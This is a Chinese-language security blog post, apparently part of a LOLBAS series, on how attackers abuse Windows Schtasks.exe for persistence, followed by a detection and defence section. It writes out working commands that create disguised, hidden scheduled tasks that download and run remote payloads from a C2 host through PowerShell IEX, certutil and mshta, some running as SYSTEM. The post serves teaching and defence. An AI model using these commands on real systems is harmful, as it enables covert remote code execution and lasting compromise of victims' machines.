Skip to content
Suzu

【LOLBAS鐵人賽Day13】Schtasks.exe:排程任務的持續性攻擊技術

解析攻擊者如何濫用 Windows 內建 Schtasks.exe 建立排程任務達成持續性滲透(MITRE ATT&CK T1053.005),涵蓋偽裝系統任務、XML 匯入、事件觸發等技巧,以及對應的偵測與防禦方法。

Series
30 posts
View the complete series →
On this page

Schtasks.exe 是 Windows 的排程任務管理工具,用來建立、修改、執行排定的工作。
雖然這是正常的系統管理功能,但攻擊者也很喜歡用它來建立持續性機制,
讓惡意程式在特定時間或事件觸發時自動執行。

排程任務架構

任務排程器元件

  • 觸發器 (Trigger):何時執行(時間、事件、開機等)
  • 動作 (Action):執行什麼(程式、腳本、發送郵件)
  • 條件 (Condition):執行條件(有電源、網路連線等)
  • 設定 (Settings):行為設定(失敗重試、執行時間限制等)

正常的排程任務使用

:: 每日備份
schtasks /create /tn "DailyBackup" /tr "C:\Scripts\backup.bat" /sc daily /st 02:00

:: 開機時執行
schtasks /create /tn "StartupScript" /tr "C:\Scripts\init.bat" /sc onstart

:: 閒置時執行維護
schtasks /create /tn "Maintenance" /tr "C:\Scripts\cleanup.bat" /sc onidle /i 10

攻擊技術

Step 1: 基本持續性建立

:: 設定 C2 伺服器
set C2=<kali_ip>

:: 每小時執行一次
schtasks /create /tn "WindowsUpdate" /tr "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://%C2%:8080/beacon.ps1')" /sc hourly /f

:: 使用者登入時執行
schtasks /create /tn "OneDriveSync" /tr "cmd /c certutil -urlcache -f http://%C2%:8080/payload.exe %temp%\update.exe && %temp%\update.exe" /sc onlogon /f

:: 系統啟動時執行(需要管理員)
schtasks /create /tn "SystemHealthCheck" /tr "rundll32.exe shell32.dll,ShellExec_RunDLL powershell -enc <base64>" /sc onstart /ru SYSTEM /f

Step 2: 進階隱藏技巧

偽裝成系統任務

:: 使用類似系統的名稱
schtasks /create /tn "\Microsoft\Windows\NetTrace\GatherNetworkInfo" /tr "powershell -ep bypass -f C:\Windows\Temp\update.ps1" /sc daily /st 09:00 /f

:: 隱藏在現有路徑下
schtasks /create /tn "\Microsoft\Office\OfficeTelemetryAgent" /tr "mshta http://%C2%:8080/payload.hta" /sc hourly /f

XML 匯入方式(更彈性)

建立 task.xml

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2024-01-01T00:00:00</Date>
    <Author>Microsoft Corporation</Author>
    <Description>Windows Defender Update</Description>
  </RegistrationInfo>
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2024-01-01T09:00:00</StartBoundary>
      <Repetition>
        <Interval>PT1H</Interval>
      </Repetition>
    </CalendarTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <Hidden>true</Hidden>
    <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable>
    <WakeToRun>false</WakeToRun>
  </Settings>
  <Actions>
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-w hidden -ep bypass -c "IEX(irm http://10.211.55.6:8080/beacon.ps1)"</Arguments>
    </Exec>
  </Actions>
</Task>

匯入(注意:此 XML 的 Principal 未指定 <UserId>,因此必須搭配 /ru 指定執行帳號,否則建立會失敗):

schtasks /create /xml task.xml /tn "\Microsoft\Windows\Security\DefenderUpdate" /ru SYSTEM

Step 3: 多層觸發機制

注意:schtasks 本身無法用 /change 修改任務的觸發排程類型(/change 不支援 /sc),單一指令也只能建立單一排程。若要讓一個任務具備多重觸發條件,需改用 PowerShell 或 XML 匯入:

# 單一任務、多重觸發條件
$Action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c calc.exe"
$Trigger1 = New-ScheduledTaskTrigger -Daily -At 09:00
$Trigger2 = New-ScheduledTaskTrigger -AtLogOn
$Trigger3 = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "Updater" -Action $Action -Trigger $Trigger1,$Trigger2,$Trigger3 -Force

事件觸發(系統事件):

schtasks /create /tn "EventResponse" /tr "powershell -f C:\Scripts\response.ps1" /sc onevent /ec System /mo "*[System[EventID=7045]]" /f

WMI/CIM 事件觸發:

$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -f C:\payload.ps1"
$CIMTrigger = Get-CimClass -Namespace ROOT/Microsoft/Windows/TaskScheduler -ClassName MSFT_TaskEventTrigger
$Trigger = New-CimInstance -CimClass $CIMTrigger -Property @{Enabled=$true; Subscription='<QueryList><Query Id="0"><Select Path="Security">*[System[(EventID=4688)]]</Select></Query></QueryList>'}
Register-ScheduledTask -TaskName "WMITrigger" -Action $Action -Trigger $Trigger

偵測&防禦

檢查可疑任務

# 列出所有執行 PowerShell 的任務
Get-ScheduledTask | Where-Object {
    $_.Actions.Execute -match "powershell" -or
    $_.Actions.Arguments -match "powershell"
} | Select-Object TaskName, TaskPath, State

# 檢查隱藏的任務
Get-ScheduledTask | Where-Object {
    $_.Settings.Hidden -eq $true
} | Select-Object TaskName, TaskPath

# 檢查以 SYSTEM 執行的任務
Get-ScheduledTask | Where-Object {
    $_.Principal.UserId -eq "SYSTEM"
} | Select-Object TaskName, TaskPath, State

防禦建議

# 稽核排程任務建立(Event ID 4698)
auditpol /set /subcategory:"Other Object Access Events" /success:enable /failure:enable

# 限制 schtasks 使用
$acl = Get-Acl "C:\Windows\System32\schtasks.exe"
$permission = "BUILTIN\Users","ReadAndExecute","Deny"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl.SetAccessRule($accessRule)
Set-Acl "C:\Windows\System32\schtasks.exe" $acl

關鍵偵測指標

  • 非預期的排程任務建立(Event ID 4698)
  • 執行編碼的 PowerShell 命令
  • 任務名稱偽裝成系統任務
  • 隱藏屬性設為 true
  • 執行來自 Temp、Downloads 的程式
  • 頻繁的觸發間隔

總結!

Schtasks 的危險性:

  • 持續性之王 - 最常用的持續性技術
  • 靈活觸發 - 時間、事件、條件多樣化
  • 偽裝容易 - 可混在系統任務中
  • 權限提升 - 可以 SYSTEM 身份執行

Share this page